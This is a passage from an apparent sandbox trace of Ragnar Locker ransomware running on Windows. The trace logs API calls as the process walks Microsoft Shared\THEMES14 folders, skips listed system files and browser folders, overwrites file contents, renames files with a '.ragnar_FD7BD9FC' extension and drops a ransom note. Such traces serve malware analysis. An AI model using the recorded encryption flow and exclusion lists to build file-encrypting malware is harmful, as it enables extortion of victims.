(hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x639, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.282] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.282] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x639, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.282] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.282] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.282] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.282] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.282] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.282] GetProcessHeap () returned 0x580000 [0075.282] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.282] CloseHandle (hObject=0x10c) returned 1 [0075.282] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" [0075.282] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.ragnar_FD7BD9FC" [0075.282] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ed3ff60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7ed3ff60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0075.283] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0075.283] lstrcpyW (in: lpString1=0x1eab6c, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0075.283] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\RGNR_FD7BD9FC.txt") returned=".txt" [0075.283] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0075.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0075.283] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x45 [0075.283] lstrcpyW (in: lpString1=0x1eab6c, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0075.283] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned=".PNG" [0075.283] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0075.283] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0075.283] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0075.283] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0075.283] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0075.283] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0075.283] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0075.283] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0075.283] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0075.283] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0075.283] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0075.284] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0075.284] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0075.284] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0075.284] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0075.284] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0075.284] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0075.284] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0075.284] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0075.284] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0075.284] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0075.284] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0075.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0075.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0075.285] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=21745) returned 1 [0075.285] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x54e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.285] GetProcessHeap () returned 0x580000 [0075.285] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0075.285] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0075.286] VirtualAlloc (lpAddress=0x0, dwSize=0x54f1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0075.287] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.287] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0075.287] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x54f1, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x54f1, lpOverlapped=0x0) returned 1 [0075.288] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0075.288] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x54f1, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.288] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x54f1, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x54f1, lpOverlapped=0x0) returned 1 [0075.288] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x54f1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.288] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0075.288] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x54f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.288] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0075.288] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.288] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0075.289] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0075.289] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0075.289] GetProcessHeap () returned 0x580000 [0075.289] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0075.289] CloseHandle (hObject=0x10c) returned 1 [0075.289] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" [0075.289] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0075.289] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0075.289] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0075.290] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0075.290] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0075.290] lstrcmpiW (lpString1="PROFILE", lpString2=".") returned 1 [0075.290] lstrcmpiW (lpString1="PROFILE", lpString2="..") returned 1 [0075.290] lstrcmpiW (lpString1="PROFILE", lpString2="Windows") returned -1 [0075.290] lstrcmpiW (lpString1="PROFILE", lpString2="Windows.old") returned -1 [0075.290] lstrcmpiW (lpString1="PROFILE", lpString2="Tor browser") returned -1 [0075.290] lstrcmpiW (lpString1="PROFILE", lpString2="Internet Explorer") returned 1 [0075.290] lstrcmpiW (lpString1="PROFILE", lpString2="Google") returned 1 [0075.290] lstrcmpiW (lpString1="PROFILE", lpString2="Opera") returned 1 [0075.290] lstrcmpiW (lpString1="PROFILE", lpString2="Opera Software") returned 1 [0075.290] lstrcmpiW (lpString1="PROFILE", lpString2="Mozilla") returned 1 [0075.290] lstrcmpiW (lpString1="PROFILE", lpString2="Mozilla Firefox") returned 1 [0075.290] lstrcmpiW (lpString1="PROFILE", lpString2="$Recycle.Bin") returned 1 [0075.290] lstrcmpiW (lpString1="PROFILE", lpString2="ProgramData") returned -1 [0075.290] lstrcmpiW (lpString1="PROFILE", lpString2="All Users") returned 1 [0075.290] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0075.290] lstrcpyW (in: lpString1=0x1eb638, lpString2="PROFILE" | out: lpString1="PROFILE") returned="PROFILE" [0075.290] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\" [0075.290] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\" [0075.290] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\RGNR_FD7BD9FC.txt" [0075.290] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0075.292] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*" [0075.292] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0075.292] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0075.292] lstrcpyW (in: lpString1=0x1ea75c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0075.292] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f1dca00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f1dca00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0075.292] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0075.292] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f1dca00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f1dca00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.293] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0075.293] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0075.293] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0075.293] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0075.293] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0075.293] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a053d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a053d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.ELM", cAlternateFileName="")) returned 1 [0075.293] lstrcmpiW (lpString1="PROFILE.ELM", lpString2=".") returned 1 [0075.293] lstrcmpiW (lpString1="PROFILE.ELM", lpString2="..") returned 1 [0075.293] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE.INF", cAlternateFileName="")) returned 1 [0075.293] lstrcmpiW (lpString1="PROFILE.INF", lpString2=".") returned 1 [0075.293] lstrcmpiW (lpString1="PROFILE.INF", lpString2="..") returned 1 [0075.293] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f1dca00, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7f1dca00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0075.293] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0075.293] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0075.293] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0075.293] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0075.293] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0075.293] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0075.293] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0075.293] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f1dca00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f1dca00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0075.293] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f1dca00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7f1dca00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.293] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0075.293] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0075.293] lstrcpyW (in: lpString1=0x1eab70, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0075.293] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned=".GIF" [0075.294] lstrcmpiW (lpString1="PREVIEW.GIF", 